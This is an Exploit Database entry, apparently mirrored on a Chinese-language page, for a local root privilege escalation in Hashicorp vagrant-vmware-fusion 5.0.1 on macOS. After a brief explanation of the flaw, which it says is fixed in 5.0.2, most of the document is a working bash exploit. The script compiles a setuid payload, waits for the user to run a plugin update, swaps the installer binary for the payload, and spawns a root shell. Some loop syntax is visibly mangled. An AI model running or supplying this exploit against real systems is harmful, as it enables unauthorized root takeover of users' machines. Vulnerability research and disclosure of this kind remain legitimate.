Hashicorp vagrant-vmware-fusion 5.0.1 – Local Privilege Escalation

Exploit Database
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作者： Mark Wadham

日期： 2017-12-06
类别：
- local
平台：
- macos
来源：https://www.exploit-db.com/exploits/43220/

# I recently blogged about how the installation process of version 5.0.0 of this

# plugin could be hihacked by a local attacker or malware in order to escalate

# privileges to root.Hashicorp pushed some mitigations for this issue fairly

# quickly but unfortunately 5.0.1 is still exploitable with a slightly different

# approach.

# They removed the chmod/chown shell commands from their osascript invocation and

# instead simply executed their installer as root, but apparently didn't realise

# that the installer is not root-owned so can be swapped out by a local attacker

# during the process.

# This issue is fixed in version 5.0.2.

# https://m4.rkw.io/vagrant_vmware_privesc_5.0.1.sh.txt

# c38ecc9fdb4f37323338e8fd12b851133a2121f3505cde664e6d32f1ef49ba23

# -----------------------------------------------------------------------------

#!/bin/bash

echo "########################################"

echo "vagrant_vmware_fusion 5.0.1 root privesc"

echo "by m4rkw"

echo "########################################"

echo

echo "compiling..."

cat > vvf.c <<EOF

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

int main(int ac, char *av[])

{

setuid(0);

seteuid(0);

if (ac > 1) {

system("mv -f $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64 /tmp/vvf_exp");

system("chown root:wheel /tmp/vvf_exp");

system("chmod 4755 /tmp/vvf_exp");

system("mv -f $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64.orig $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64");

system("$HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64 install\012");

return 0;

}

system("rm -f /tmp/vvf_exp");

execl("/bin/bash","bash",NULL);

return 0;

}

EOF

gcc -o /tmp/vvf_exp vvf.c

rm -f vvf.c

echo "waiting for user to initiate vagrant plugin update..."

while :

r=<code>ps auxwww |grep '/usr/bin/osascript -e do shell script' |grep 'vagrant-vmware-installer_darwin_amd64'

if [ "$r" != "" ] ; then

break

done

pid=<code>ps auxww |grep './vagrant-vmware-installer_darwin_amd64 install' |grep -v grep |xargs -L1 |cut -d ' ' -f2

cd $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop

echo "dropping payload in place of installer binary..."

mv -f vagrant-vmware-installer_darwin_amd64 vagrant-vmware-installer_darwin_amd64.orig

mv -f /tmp/vvf_exp vagrant-vmware-installer_darwin_amd64

echo "waiting for payload to trigger..."

while :

r=<code>ls -la /tmp/vvf_exp 2>/dev/null |grep -- '-rwsr-xr-x' |grep root

if [ "$r" != "" ] ; then

echo "spawning shell..."

/tmp/vvf_exp

exit 0

done